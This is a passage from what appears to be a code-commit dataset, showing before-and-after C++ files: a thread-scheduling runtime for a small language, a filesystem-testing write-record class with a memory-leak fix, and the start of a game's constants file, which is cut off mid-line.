set_max_threads() {\n  if (max_threads) return;\n  unsigned long dth = std::thread::hardware_concurrency();\n  printf(\"Detected %d compute elements.\\n\",(int)dth);\n  if (dth < 1) max_threads = 1;\n  else if (dth > 4) max_threads = 4;\n  else max_threads = dth;\n  printf(\"Setting max_threads = %d\\n\",(int)max_threads);\n}\n\nextern \"C\"  void __fork_sched_int(int64_t (*statement)(void),int64_t id) {\n  set_max_threads();\n  std::future<int64_t> promise;\n  thread_count_mutex.lock();\n  if (thread_count >= max_threads) {\n    thread_count_mutex.unlock();\n    promise = std::async(std::launch::deferred,statement);\n  } else {\n    promise = std::async(std::launch::async,statement);\n    thread_count++;\n    thread_count_mutex.unlock();\n  }\n  map_mutex.lock();\n  int_future_id_map.insert(std::pair<int64_t,std::future<int64_t>>(id,std::move(promise)));\n  map_mutex.unlock();\n}\n\nextern \"C\"  void __fork_sched_float(double (*statement)(void),int64_t id) {\n  set_max_threads();\n  std::future<double> promise;\n  thread_count_mutex.lock();\n  if (thread_count >= max_threads) {\n    thread_count_mutex.unlock();\n    promise = std::async(std::launch::deferred,statement);\n  } else {\n    promise = std::async(std::launch::async,statement);\n    thread_count++;\n    thread_count_mutex.unlock();\n  }\n  map_mutex.lock();\n  float_future_id_map.insert(std::pair<int64_t,std::future<double>>(id,std::move(promise)));\n  map_mutex.unlock();\n}\n\nextern \"C\"  void __fork_sched_intptr(int64_t* (*statement)(void),int64_t id) {\n  set_max_threads();\n  std::future<int64_t*> promise;\n  thread_count_mutex.lock();\n  if (thread_count >= max_threads) {\n    thread_count_mutex.unlock();\n    promise = std::async(std::launch::deferred,statement);\n  } else {\n    promise = std::async(std::launch::async,statement);\n    thread_count++;\n    thread_count_mutex.unlock();\n  }\n  map_mutex.lock();\n  intptr_future_id_map.insert(std::pair<int64_t,std::future<int64_t*>>(id,std::move(promise)));\n  map_mutex.unlock();\n}\n\nextern \"C\"  void __fork_sched_floatptr(double* (*statement)(void),int64_t id) {\n  set_max_threads();\n  std::future<double*> promise;\n  thread_count_mutex.lock();\n  if (thread_count >= max_threads) {\n    thread_count_mutex.unlock();\n    promise = std::async(std::launch::deferred,statement);\n  } else {\n    promise = std::async(std::launch::async,statement);\n    thread_count++;\n    thread_count_mutex.unlock();\n  }\n  map_mutex.lock();\n  floatptr_future_id_map.insert(std::pair<int64_t,std::future<double*>>(id,std::move(promise)));\n  map_mutex.unlock();\n}\n\nextern \"C\"  void __fork_sched_void(void (*statement)(void),int64_t id) {\n  set_max_threads();\n  std::future<void> promise;\n  thread_count_mutex.lock();\n  if (thread_count >= max_threads) {\n    thread_count_mutex.unlock();\n    promise = std::async(std::launch::deferred,statement);\n  } else {\n    promise = std::async(std::launch::async,statement);\n    thread_count++;\n    thread_count_mutex.unlock();\n  }\n  map_mutex.lock();\n  void_future_id_map.insert(std::pair<int64_t,std::future<void>>(id,std::move(promise)));\n  map_mutex.unlock();\n}\n\nextern \"C\" int64_t __recon_int(int64_t original,int64_t known,int64_t update,int64_t id,int64_t max) {\n  std::chrono::milliseconds span(0);\n  map_mutex.lock();\n  auto fv = std::move(int_future_id_map.at(id));\n  int_future_id_map.erase(id);\n  map_mutex.unlock();\n  if (fv.wait_for(span)==std::future_status::deferred) {\n    return fv.get();\n  } else {\n    auto v = fv.get();\n    thread_count_mutex.lock();\n    thread_count--;\n    thread_count_mutex.unlock();\n    return v;\n  }\n}\n\nextern \"C\" double __recon_float(double original,int64_t known,double update,int64_t id,int64_t max) {\n  std::chrono::milliseconds span(0);\n  map_mutex.lock();\n  auto fv = std::move(float_future_id_map.at(id));\n  float_future_id_map.erase(id);\n  map_mutex.unlock();\n  if (fv.wait_for(span)==std::future_status::deferred) {\n    return fv.get();\n  } else {\n    auto v = fv.get();\n    thread_count_mutex.lock();\n    thread_count--;\n    thread_count_mutex.unlock();\n    return v;\n  }\n}\n\nextern \"C\" int64_t* __recon_intptr(int64_t* original,int64_t known,int64_t* update,int64_t id,int64_t max) {\n  std::chrono::milliseconds span(0);\n  map_mutex.lock();\n  auto fv = std::move(intptr_future_id_map.at(id));\n  intptr_future_id_map.erase(id);\n  map_mutex.unlock();\n  if (fv.wait_for(span)==std::future_status::deferred) {\n    return fv.get();\n  } else {\n    auto v = fv.get();\n    thread_count_mutex.lock();\n    thread_count--;\n    thread_count_mutex.unlock();\n    return v;\n  }\n}\n\nextern \"C\" double* __recon_floatptr(double* original,int64_t known,double* update,int64_t id,int64_t max) {\n  std::chrono::milliseconds span(0);\n  map_mutex.lock();\n  auto fv = std::move(floatptr_future_id_map.at(id));\n  floatptr_future_id_map.erase(id);\n  map_mutex.unlock();\n  if (fv.wait_for(span)==std::future_status::deferred) {\n    return fv.get();\n  } else {\n    auto v = fv.get();\n    thread_count_mutex.lock();\n    thread_count--;\n    thread_count_mutex.unlock();\n    return v;\n  }\n}\n\nextern \"C\" void  __recon_void(int64_t id,int64_t max) {\n  std::chrono::milliseconds span(0);\n  map_mutex.lock();\n  auto fv = std::move(void_future_id_map.at(id));\n  void_future_id_map.erase(id);\n  map_mutex.unlock();\n  if (fv.wait_for(span)==std::future_status::deferred) {\n    fv.get();\n  } else {\n    fv.get();\n    thread_count_mutex.lock();\n    thread_count--;\n    thread_count_mutex.unlock();\n  }\n}\n\n<commit_msg>Better wording, count main thread as a worker as well because we process deferred execution<commit_after>\/\/Fork standard library\n\n#include \"lib.h\"\n\n\/\/extern \"C\" disables C++ name mangling\n\n\/\/Never garble writing to the output stream\nstd::mutex print_mutex;\nstd::mutex malloc_mutex;\n\n\/\/Parallism data structures\nint64_t thread_count = 0;\nint64_t max_threads = -1;\nstd::map<int,std::future<int64_t>> int_future_id_map;\nstd::map<int,std::future<double>> float_future_id_map;\nstd::map<int,std::future<int64_t*>> intptr_future_id_map;\nstd::map<int,std::future<double*>> floatptr_future_id_map;\nstd::map<int,std::future<void>> void_future_id_map;\nstd::mutex thread_count_mutex;\nstd::mutex map_mutex;\n\n\/\/Public-facing standard library functions\n\/\/Note that cmath functions (Ex: sin, cos) are available as well\n\nextern \"C\" void print_int(int64_t i) {\n  print_mutex.lock();\n  printf(\"Outputing Integer: %d\\n\",(int)i);\n  print_mutex.unlock();\n}\n\nextern \"C\" void print_float(double d) {\n  print_mutex.lock();\n  printf(\"Outputing Float: %f\\n\",d);\n  print_mutex.unlock();\n}\n\nextern \"C\" float* malloc_float(int64_t s) {\n  malloc_mutex.lock();\n  float* allocd = (float*)malloc(s*8);\n  malloc_mutex.unlock();\n  return allocd;\n}\n\nextern \"C\" int64_t* malloc_int(int64_t s) {\n  malloc_mutex.lock();\n  int64_t* allocd = (int64_t*)malloc(s*8);\n  malloc_mutex.unlock();\n  return allocd;\n}\n\nextern \"C\" float* calloc_float(int64_t s) {\n  malloc_mutex.lock();\n  float* allocd = (float*)calloc(s,8);\n  malloc_mutex.unlock();\n  return allocd;\n}\n\nextern \"C\" int64_t* calloc_int(int64_t s) {\n  malloc_mutex.lock();\n  int64_t* allocd = (int64_t*)calloc(s,8);\n  malloc_mutex.unlock();\n  return allocd;\n}\n\nextern \"C\" void free_float(float* f) {\n  malloc_mutex.lock();\n  free(f);\n  malloc_mutex.unlock();\n}\n\nextern \"C\" void free_int(int64_t* i) {\n  malloc_mutex.lock();\n  free(i);\n  malloc_mutex.unlock();\n}\n\n\/\/Hidden funcitons implement parallism\n\/\/They are not intended to be called by user code\n\nvoid set_max_threads() {\n  if (max_threads != -1) return;\n  unsigned long dth = std::thread::hardware_concurrency()-1;\n  printf(\"Detected %d additional compute elements.\\n\",(int)dth);\n  if (dth < 0) max_threads = 0;\n  else if (dth > 3) max_threads = 3;\n  else max_threads = dth;\n  printf(\"Setting max execution threads = %d\\n\",(int)max_threads+1);\n}\n\nextern \"C\"  void __fork_sched_int(int64_t (*statement)(void),int64_t id) {\n  set_max_threads();\n  std::future<int64_t> promise;\n  thread_count_mutex.lock();\n  if (thread_count >= max_threads) {\n    thread_count_mutex.unlock();\n    promise = std::async(std::launch::deferred,statement);\n  } else {\n    promise = std::async(std::launch::async,statement);\n    thread_count++;\n    thread_count_mutex.unlock();\n  }\n  map_mutex.lock();\n  int_future_id_map.insert(std::pair<int64_t,std::future<int64_t>>(id,std::move(promise)));\n  map_mutex.unlock();\n}\n\nextern \"C\"  void __fork_sched_float(double (*statement)(void),int64_t id) {\n  set_max_threads();\n  std::future<double> promise;\n  thread_count_mutex.lock();\n  if (thread_count >= max_threads) {\n    thread_count_mutex.unlock();\n    promise = std::async(std::launch::deferred,statement);\n  } else {\n    promise = std::async(std::launch::async,statement);\n    thread_count++;\n    thread_count_mutex.unlock();\n  }\n  map_mutex.lock();\n  float_future_id_map.insert(std::pair<int64_t,std::future<double>>(id,std::move(promise)));\n  map_mutex.unlock();\n}\n\nextern \"C\"  void __fork_sched_intptr(int64_t* (*statement)(void),int64_t id) {\n  set_max_threads();\n  std::future<int64_t*> promise;\n  thread_count_mutex.lock();\n  if (thread_count >= max_threads) {\n    thread_count_mutex.unlock();\n    promise = std::async(std::launch::deferred,statement);\n  } else {\n    promise = std::async(std::launch::async,statement);\n    thread_count++;\n    thread_count_mutex.unlock();\n  }\n  map_mutex.lock();\n  intptr_future_id_map.insert(std::pair<int64_t,std::future<int64_t*>>(id,std::move(promise)));\n  map_mutex.unlock();\n}\n\nextern \"C\"  void __fork_sched_floatptr(double* (*statement)(void),int64_t id) {\n  set_max_threads();\n  std::future<double*> promise;\n  thread_count_mutex.lock();\n  if (thread_count >= max_threads) {\n    thread_count_mutex.unlock();\n    promise = std::async(std::launch::deferred,statement);\n  } else {\n    promise = std::async(std::launch::async,statement);\n    thread_count++;\n    thread_count_mutex.unlock();\n  }\n  map_mutex.lock();\n  floatptr_future_id_map.insert(std::pair<int64_t,std::future<double*>>(id,std::move(promise)));\n  map_mutex.unlock();\n}\n\nextern \"C\"  void __fork_sched_void(void (*statement)(void),int64_t id) {\n  set_max_threads();\n  std::future<void> promise;\n  thread_count_mutex.lock();\n  if (thread_count >= max_threads) {\n    thread_count_mutex.unlock();\n    promise = std::async(std::launch::deferred,statement);\n  } else {\n    promise = std::async(std::launch::async,statement);\n    thread_count++;\n    thread_count_mutex.unlock();\n  }\n  map_mutex.lock();\n  void_future_id_map.insert(std::pair<int64_t,std::future<void>>(id,std::move(promise)));\n  map_mutex.unlock();\n}\n\nextern \"C\" int64_t __recon_int(int64_t original,int64_t known,int64_t update,int64_t id,int64_t max) {\n  std::chrono::milliseconds span(0);\n  map_mutex.lock();\n  auto fv = std::move(int_future_id_map.at(id));\n  int_future_id_map.erase(id);\n  map_mutex.unlock();\n  if (fv.wait_for(span)==std::future_status::deferred) {\n    return fv.get();\n  } else {\n    auto v = fv.get();\n    thread_count_mutex.lock();\n    thread_count--;\n    thread_count_mutex.unlock();\n    return v;\n  }\n}\n\nextern \"C\" double __recon_float(double original,int64_t known,double update,int64_t id,int64_t max) {\n  std::chrono::milliseconds span(0);\n  map_mutex.lock();\n  auto fv = std::move(float_future_id_map.at(id));\n  float_future_id_map.erase(id);\n  map_mutex.unlock();\n  if (fv.wait_for(span)==std::future_status::deferred) {\n    return fv.get();\n  } else {\n    auto v = fv.get();\n    thread_count_mutex.lock();\n    thread_count--;\n    thread_count_mutex.unlock();\n    return v;\n  }\n}\n\nextern \"C\" int64_t* __recon_intptr(int64_t* original,int64_t known,int64_t* update,int64_t id,int64_t max) {\n  std::chrono::milliseconds span(0);\n  map_mutex.lock();\n  auto fv = std::move(intptr_future_id_map.at(id));\n  intptr_future_id_map.erase(id);\n  map_mutex.unlock();\n  if (fv.wait_for(span)==std::future_status::deferred) {\n    return fv.get();\n  } else {\n    auto v = fv.get();\n    thread_count_mutex.lock();\n    thread_count--;\n    thread_count_mutex.unlock();\n    return v;\n  }\n}\n\nextern \"C\" double* __recon_floatptr(double* original,int64_t known,double* update,int64_t id,int64_t max) {\n  std::chrono::milliseconds span(0);\n  map_mutex.lock();\n  auto fv = std::move(floatptr_future_id_map.at(id));\n  floatptr_future_id_map.erase(id);\n  map_mutex.unlock();\n  if (fv.wait_for(span)==std::future_status::deferred) {\n    return fv.get();\n  } else {\n    auto v = fv.get();\n    thread_count_mutex.lock();\n    thread_count--;\n    thread_count_mutex.unlock();\n    return v;\n  }\n}\n\nextern \"C\" void  __recon_void(int64_t id,int64_t max) {\n  std::chrono::milliseconds span(0);\n  map_mutex.lock();\n  auto fv = std::move(void_future_id_map.at(id));\n  void_future_id_map.erase(id);\n  map_mutex.unlock();\n  if (fv.wait_for(span)==std::future_status::deferred) {\n    fv.get();\n  } else {\n    fv.get();\n    thread_count_mutex.lock();\n    thread_count--;\n    thread_count_mutex.unlock();\n  }\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Very messy hack to get the defines for different bio operations. Should be\n\/\/ changed to something more palatable if possible.\n#include <linux\/blk_types.h>\n\n#include <cassert>\n#include <cstring>\n\n#include <fstream>\n#include <ios>\n#include <iostream>\n#include <memory>\n#include <random>\n#include <string>\n#include <tuple>\n#include <utility>\n#include <vector>\n\n#include \"utils.h\"\n\nnamespace fs_testing {\nnamespace utils {\nusing std::endl;\nusing std::ifstream;\nusing std::ios;\nusing std::memcpy;\nusing std::mt19937;\nusing std::ofstream;\nusing std::ostream;\nusing std::pair;\nusing std::shared_ptr;\nusing std::tie;\nusing std::uniform_int_distribution;\nusing std::vector;\n\nbool disk_write::is_async_write() {\n  return (\n      !((metadata.bi_rw & REQ_SYNC) ||\n        (metadata.bi_rw & REQ_FUA) ||\n        (metadata.bi_rw & REQ_FLUSH) ||\n        (metadata.bi_rw & REQ_FLUSH_SEQ) ||\n        (metadata.bi_rw & REQ_SOFTBARRIER)) &&\n        metadata.bi_rw & REQ_WRITE);\n}\n\nbool disk_write::is_barrier_write() {\n  return (\n      ((metadata.bi_rw & REQ_FUA) ||\n        (metadata.bi_rw & REQ_FLUSH) ||\n        (metadata.bi_rw & REQ_FLUSH_SEQ) ||\n        (metadata.bi_rw & REQ_SOFTBARRIER)) &&\n        metadata.bi_rw & REQ_WRITE);\n}\n\nbool disk_write::is_meta() {\n  return (metadata.bi_rw & REQ_META);\n}\n\ndisk_write::disk_write(const struct disk_write_op_meta& m,\n    const char *d) {\n  metadata = m;\n  if (metadata.size > 0 && d != NULL) {\n    data = shared_ptr<char>(new char[metadata.size]);\n    memcpy(data.get(), d, metadata.size);\n  }\n}\n\ndisk_write::disk_write(const disk_write& other) {\n  metadata = other.metadata;\n  data = other.data;\n}\n\nvoid disk_write::operator=(const disk_write& other) {\n  metadata = other.metadata;\n  data = other.data;\n}\n\nbool operator==(const disk_write& a, const disk_write& b) {\n  if (tie(a.metadata.bi_flags, a.metadata.bi_rw, a.metadata.write_sector,\n        a.metadata.size) ==\n      tie(b.metadata.bi_flags, b.metadata.bi_rw, b.metadata.write_sector,\n        b.metadata.size)) {\n    if ((a.data.get() == NULL && b.data.get() != NULL) ||\n        (a.data.get() != NULL && b.data.get() == NULL)) {\n      return false;\n    }\n    if (memcmp(a.data.get(), b.data.get(), a.metadata.size) == 0) {\n      return true;\n    }\n  }\n  return false;\n}\n\nbool operator!=(const disk_write& a, const disk_write& b) {\n  return !(a == b);\n}\n\nvoid disk_write::serialize(std::ofstream& fs, const disk_write& dw) {\n  ios prev_format(NULL);\n  prev_format.copyfmt(fs);\n  fs << std::hex;\n  fs << dw.metadata.bi_flags << \" \"\n    << dw.metadata.bi_rw << \" \"\n    << dw.metadata.write_sector << \" \"\n    << dw.metadata.size << \" \";\n  char *data = (char *) dw.data.get();\n  for (unsigned int i = 0; i < dw.metadata.size; ++i) {\n    \/\/ TODO(ashmrtn): Change to put?\n    fs << *(data + i);\n  }\n  fs << endl;\n  fs.copyfmt(prev_format);\n}\n\n\/\/ TODO(ashmrtn): Greatly refactor this so that it is much more flexible and\n\/\/ complete. Think about removing whitespace between fields and just checking\n\/\/ for newlines? But then what happens if your data is all newlines?\ndisk_write disk_write::deserialize(ifstream& is) {\n  disk_write_op_meta meta;\n  ios prev_format(NULL);\n  prev_format.copyfmt(is);\n  is >> std::skipws;\n  is >> std::hex;\n  is >> meta.bi_flags\n    >> meta.bi_rw\n    >> meta.write_sector\n    >> meta.size;\n\n  char nl;\n  \/\/ Eat single space between size of data and data.\n  is.get(nl);\n  assert(nl == ' ');\n  char *data = new char[meta.size];\n  is.read(data, meta.size);\n  \/\/ Make sure that the meta.size field matches the actual data size in the log.\n  is.get(nl);\n  assert(nl == '\\n');\n  is.copyfmt(prev_format);\n  disk_write res(meta, data);\n  delete[] data;\n  return res;\n}\n\n\/*\n * Output all data for a single object on a single line.\n *\/\nofstream& operator<<(ofstream& fs, const disk_write& dw) {\n  fs << dw.metadata.bi_flags << \" \"\n    << dw.metadata.bi_rw << \" \"\n    << dw.metadata.write_sector << \" \"\n    << dw.metadata.size << \" \"\n    << dw.data;\n  return fs;\n}\n\nostream& operator<<(ostream& os, const disk_write& dw) {\n  os << std::hex << std::showbase << dw.metadata.bi_rw << std::noshowbase\n    << std::dec;\n  return os;\n}\n\nbool disk_write::has_write_flag() {\n  return metadata.bi_rw & REQ_WRITE;\n}\n\nshared_ptr<char> disk_write::set_data(const char *d) {\n  if (metadata.size > 0 && d != NULL) {\n    data = shared_ptr<char>(new char[metadata.size]);\n    memcpy(data.get(), d, metadata.size);\n  }\n  return data;\n}\n\nshared_ptr<char> disk_write::get_data() {\n  return data;\n}\n\n}  \/\/ namespace utils\n}  \/\/ namespace fs_testing\n<commit_msg>Fix shared_ptr delete memory leak.<commit_after>\/\/ Very messy hack to get the defines for different bio operations. Should be\n\/\/ changed to something more palatable if possible.\n#include <linux\/blk_types.h>\n\n#include <cassert>\n#include <cstring>\n\n#include <fstream>\n#include <ios>\n#include <iostream>\n#include <memory>\n#include <random>\n#include <string>\n#include <tuple>\n#include <utility>\n#include <vector>\n\n#include \"utils.h\"\n\nnamespace fs_testing {\nnamespace utils {\nusing std::endl;\nusing std::ifstream;\nusing std::ios;\nusing std::memcpy;\nusing std::mt19937;\nusing std::ofstream;\nusing std::ostream;\nusing std::pair;\nusing std::shared_ptr;\nusing std::tie;\nusing std::uniform_int_distribution;\nusing std::vector;\n\nbool disk_write::is_async_write() {\n  return (\n      !((metadata.bi_rw & REQ_SYNC) ||\n        (metadata.bi_rw & REQ_FUA) ||\n        (metadata.bi_rw & REQ_FLUSH) ||\n        (metadata.bi_rw & REQ_FLUSH_SEQ) ||\n        (metadata.bi_rw & REQ_SOFTBARRIER)) &&\n        metadata.bi_rw & REQ_WRITE);\n}\n\nbool disk_write::is_barrier_write() {\n  return (\n      ((metadata.bi_rw & REQ_FUA) ||\n        (metadata.bi_rw & REQ_FLUSH) ||\n        (metadata.bi_rw & REQ_FLUSH_SEQ) ||\n        (metadata.bi_rw & REQ_SOFTBARRIER)) &&\n        metadata.bi_rw & REQ_WRITE);\n}\n\nbool disk_write::is_meta() {\n  return (metadata.bi_rw & REQ_META);\n}\n\ndisk_write::disk_write(const struct disk_write_op_meta& m,\n    const char *d) {\n  metadata = m;\n  if (metadata.size > 0 && d != NULL) {\n    data = shared_ptr<char>(new char[metadata.size],\n        [](char* c) {delete[] c;});\n    memcpy(data.get(), d, metadata.size);\n  }\n}\n\ndisk_write::disk_write(const disk_write& other) {\n  metadata = other.metadata;\n  data = other.data;\n}\n\nvoid disk_write::operator=(const disk_write& other) {\n  metadata = other.metadata;\n  data = other.data;\n}\n\nbool operator==(const disk_write& a, const disk_write& b) {\n  if (tie(a.metadata.bi_flags, a.metadata.bi_rw, a.metadata.write_sector,\n        a.metadata.size) ==\n      tie(b.metadata.bi_flags, b.metadata.bi_rw, b.metadata.write_sector,\n        b.metadata.size)) {\n    if ((a.data.get() == NULL && b.data.get() != NULL) ||\n        (a.data.get() != NULL && b.data.get() == NULL)) {\n      return false;\n    }\n    if (memcmp(a.data.get(), b.data.get(), a.metadata.size) == 0) {\n      return true;\n    }\n  }\n  return false;\n}\n\nbool operator!=(const disk_write& a, const disk_write& b) {\n  return !(a == b);\n}\n\nvoid disk_write::serialize(std::ofstream& fs, const disk_write& dw) {\n  ios prev_format(NULL);\n  prev_format.copyfmt(fs);\n  fs << std::hex;\n  fs << dw.metadata.bi_flags << \" \"\n    << dw.metadata.bi_rw << \" \"\n    << dw.metadata.write_sector << \" \"\n    << dw.metadata.size << \" \";\n  char *data = (char *) dw.data.get();\n  for (unsigned int i = 0; i < dw.metadata.size; ++i) {\n    \/\/ TODO(ashmrtn): Change to put?\n    fs << *(data + i);\n  }\n  fs << endl;\n  fs.copyfmt(prev_format);\n}\n\n\/\/ TODO(ashmrtn): Greatly refactor this so that it is much more flexible and\n\/\/ complete. Think about removing whitespace between fields and just checking\n\/\/ for newlines? But then what happens if your data is all newlines?\ndisk_write disk_write::deserialize(ifstream& is) {\n  disk_write_op_meta meta;\n  ios prev_format(NULL);\n  prev_format.copyfmt(is);\n  is >> std::skipws;\n  is >> std::hex;\n  is >> meta.bi_flags\n    >> meta.bi_rw\n    >> meta.write_sector\n    >> meta.size;\n\n  char nl;\n  \/\/ Eat single space between size of data and data.\n  is.get(nl);\n  assert(nl == ' ');\n  char *data = new char[meta.size];\n  is.read(data, meta.size);\n  \/\/ Make sure that the meta.size field matches the actual data size in the log.\n  is.get(nl);\n  assert(nl == '\\n');\n  is.copyfmt(prev_format);\n  disk_write res(meta, data);\n  delete[] data;\n  return res;\n}\n\n\/*\n * Output all data for a single object on a single line.\n *\/\nofstream& operator<<(ofstream& fs, const disk_write& dw) {\n  fs << dw.metadata.bi_flags << \" \"\n    << dw.metadata.bi_rw << \" \"\n    << dw.metadata.write_sector << \" \"\n    << dw.metadata.size << \" \"\n    << dw.data;\n  return fs;\n}\n\nostream& operator<<(ostream& os, const disk_write& dw) {\n  os << std::hex << std::showbase << dw.metadata.bi_rw << std::noshowbase\n    << std::dec;\n  return os;\n}\n\nbool disk_write::has_write_flag() {\n  return metadata.bi_rw & REQ_WRITE;\n}\n\nshared_ptr<char> disk_write::set_data(const char *d) {\n  if (metadata.size > 0 && d != NULL) {\n    data = shared_ptr<char>(new char[metadata.size]);\n    memcpy(data.get(), d, metadata.size);\n  }\n  return data;\n}\n\nshared_ptr<char> disk_write::get_data() {\n  return data;\n}\n\n}  \/\/ namespace utils\n}  \/\/ namespace fs_testing\n<|endoftext|>"}
{"text":"<commit_before>#include \"constants.h\"\n\/\/ bullet\n#include \"btBulletDynamicsCommon.h\"\n#include <osg\/Array>\n\n\/\/ http:\/\/stackoverflow.com\/questions\/3681140\/how-do-i-avoid-both-global-variables-and-magic-numbers\n\nnamespace troen\n{\n\t\/\/ GENERAL\n\n\t\/\/ GAME\n\tconst int DEFAULT_WINDOW_WIDTH(1024);\n\tconst int DEFAULT_WINDOW_HEIGHT(768);\n\tconst float DEFAULT_SOUND_VOLUME(1.f);\n\n\tconst float FOVY_INITIAL(29.1484f);\n\tconst float FOVY_ADDITION_MAX(30.f);\n\tconst float FOVY_DELTA_MAX(.7f);\n\n\tconst int NUM_MULTISAMPLES(8);\n\n\t\/\/ LOGIC\n\tconst double RESPAWN_DURATION(3000);\n\tconst double GAME_START_COUNTDOWN_DURATION(3000);\n\n\t\/\/PHYSIS\n\tconst btVector3 DEFAULT_GRAVITY(0,0,-98);\n\n\t\/\/ BIKE\n\tconst btVector3 BIKE_DIMENSIONS(2, 4, 2);\n\tconst float BIKE_VIEW_SCALE_FACTOR(1.f \/ 5.f * BIKE_DIMENSIONS.y());\n\tconst osg::Vec3f BIKE_VIEW_SCALE_FACTORS(BIKE_VIEW_SCALE_FACTOR, BIKE_VIEW_SCALE_FACTOR, BIKE_VIEW_SCALE_FACTOR);\n\tconst osg::Vec3f BIKE_VIEW_TRANSLATE_VALUES(0,0,-BIKE_DIMENSIONS.z() * 4.9f \/ 12.5);\n\n\tconst float BIKE_MASS(300);\n\tconst int BIKE_VELOCITY_MAX(BIKE_DIMENSIONS.y() * 90);\n\tconst int BIKE_VELOCITY_MIN(BIKE_DIMENSIONS.y() * 30);\n\tconst float BIKE_VELOCITY_DAMPENING_TERM(.3f);\n\tconst float BIKE_ACCELERATION_FACTOR_MAX(1.5f);\n\tconst float BIKE_DECELERATION_FACTOR(4.f);\n\tconst float BIKE_TURN_FACTOR_MAX(15);\n\tconst float BIKE_ANGULAR_DAMPENING_TERM(0.001f);\n\n\tconst float TURBO_PHASE_LENGTH(1000);\n\n\t\/\/ BIKE_TILT_DAMPENING = 1 would lead to immediate\/unsmooth tilt\n\t\/\/ 1 \/ BIKE_TILT_MAX specifies angle in radiant\n\tconst float BIKE_TILT_DAMPENING(20.f);\n\tconst float BIKE_TILT_MAX(16.f);\n\tconst float BIKE_WHEELY_TILT_MAX(2.f);\n\tconst float THRESHOLD_FOR_ABRUPT_VELOCITY_CHANGE(20.f);\n\n\t\/\/INPUT\n\tconst float BIKE_ROTATION_VALUE(10.0f);\n\tconst float BIKE_HANDBRAKE_FACTOR(0.8f);\n\t\/\/ this should always be less than 1000\/60FPS - the smaller, the more responsive is the input\n\tconst int POLLING_DELAY_MS(8);\n\tconst int VIBRATION_TIME_MS(500);\n\n\t\/\/ FENCE\n\t\/\/ determines how accurate the fence will be\n\tconst float FENCE_HEIGHT_MODEL(BIKE_DIMENSIONS.x() * 1.5f);\n\tconst float FENCE_HEIGHT_VIEW(FENCE_HEIGHT_MODEL * .7f);\n\tconst float FENCE_PART_LENGTH(BIKE_DIMENSIONS.y() \/ 2);\n\tconst float FENCE_PART_WIDTH(BIKE_DIMENSIONS.x() * .3f);\n\tconst int DEFAULT_MAX_FENCE_PARTS(400);\n\n\t\/\/ CAMERA\n\tconst osg::Vec3 CAMERA_POSITION_OFFSET(0, 0, BIKE_DIMENSIONS.y());\n\tconst float CAMERA_ROTATION_OFFSET(.05f);\n\tconst osg::Vec3 CAMERA_EYE_POSITION(0.f,-BIKE_DIMENSIONS.y()*5.5f,BIKE_DIMENSIONS.z()*.8f);\n\tconst float CAMERA_TILT_FACTOR(16.f);\n\tconst int HUD_PROJECTION_SIZE(1000);\n\n\n\tconst unsigned int CAMERA_MASK_MAIN(0x1);\n\tconst unsigned int CAMERA_MASK_RADAR(0x2);\n\n\t\/\/ PHYSICS\n\tconst float BIKE_FENCE_IMPACT_THRESHOLD_LOW(BIKE_MASS*BIKE_VELOCITY_MIN);\n\tconst float BIKE_FENCE_IMPACT_THRESHOLD_HIGH(BIKE_MASS*BIKE_VELOCITY_MAX \/ 3);\n\n\n\tconst float BIKE_DEFAULT_HEALTH(5 * BIKE_FENCE_IMPACT_THRESHOLD_HIGH);\n\n\t\/\/ AUDIO\n\tconst int ENGINE_FREQUENCY_LOW(50000);\n\tconst int ENGINE_FREQUENCY_HIGH(120000);\n\n}<commit_msg>fixes #43 increased camera tilting<commit_after>#include \"constants.h\"\n\/\/ bullet\n#include \"btBulletDynamicsCommon.h\"\n#include <osg\/Array>\n\n\/\/ http:\/\/stackoverflow.com\/questions\/3681140\/how-do-i-avoid-both-global-variables-and-magic-numbers\n\nnamespace troen\n{\n\t\/\/ GENERAL\n\n\t\/\/ GAME\n\tconst int DEFAULT_WINDOW_WIDTH(1024);\n\tconst int DEFAULT_WINDOW_HEIGHT(768);\n\tconst float DEFAULT_SOUND_VOLUME(1.f);\n\n\tconst float FOVY_INITIAL(29.1484f);\n\tconst float FOVY_ADDITION_MAX(30.f);\n\tconst float FOVY_DELTA_MAX(.7f);\n\n\tconst int NUM_MULTISAMPLES(8);\n\n\t\/\/ LOGIC\n\tconst double RESPAWN_DURATION(3000);\n\tconst double GAME_START_COUNTDOWN_DURATION(3000);\n\n\t\/\/PHYSIS\n\tconst btVector3 DEFAULT_GRAVITY(0,0,-98);\n\n\t\/\/ BIKE\n\tconst btVector3 BIKE_DIMENSIONS(2, 4, 2);\n\tconst float BIKE_VIEW_SCALE_FACTOR(1.f \/ 5.f * BIKE_DIMENSIONS.y());\n\tconst osg::Vec3f BIKE_VIEW_SCALE_FACTORS(BIKE_VIEW_SCALE_FACTOR, BIKE_VIEW_SCALE_FACTOR, BIKE_VIEW_SCALE_FACTOR);\n\tconst osg::Vec3f BIKE_VIEW_TRANSLATE_VALUES(0,0,-BIKE_DIMENSIONS.z() * 4.9f \/ 12.5);\n\n\tconst float BIKE_MASS(300);\n\tconst int BIKE_VELOCITY_MAX(BIKE_DIMENSIONS.y() * 90);\n\tconst int BIKE_VELOCITY_MIN(BIKE_DIMENSIONS.y() * 30);\n\tconst float BIKE_VELOCITY_DAMPENING_TERM(.3f);\n\tconst float BIKE_ACCELERATION_FACTOR_MAX(1.5f);\n\tconst float BIKE_DECELERATION_FACTOR(4.f);\n\tconst float BIKE_TURN_FACTOR_MAX(15);\n\tconst float BIKE_ANGULAR_DAMPENING_TERM(0.001f);\n\n\tconst float TURBO_PHASE_LENGTH(1000);\n\n\t\/\/ BIKE_TILT_DAMPENING = 1 would lead to immediate\/unsmooth tilt\n\t\/\/ 1 \/ BIKE_TILT_MAX specifies angle in radiant\n\tconst float BIKE_TILT_DAMPENING(20.f);\n\tconst float BIKE_TILT_MAX(16.f);\n\tconst float BIKE_WHEELY_TILT_MAX(2.f);\n\tconst float THRESHOLD_FOR_ABRUPT_VELOCITY_CHANGE(20.f);\n\n\t\/\/INPUT\n\tconst float BIKE_ROTATION_VALUE(10.0f);\n\tconst float BIKE_HANDBRAKE_FACTOR(0.8f);\n\t\/\/ this should always be less than 1000\/60FPS - the smaller, the more responsive is the input\n\tconst int POLLING_DELAY_MS(8);\n\tconst int VIBRATION_TIME_MS(500);\n\n\t\/\/ FENCE\n\t\/\/ determines how accurate the fence will be\n\tconst float FENCE_HEIGHT_MODEL(BIKE_DIMENSIONS.x() * 1.5f);\n\tconst float 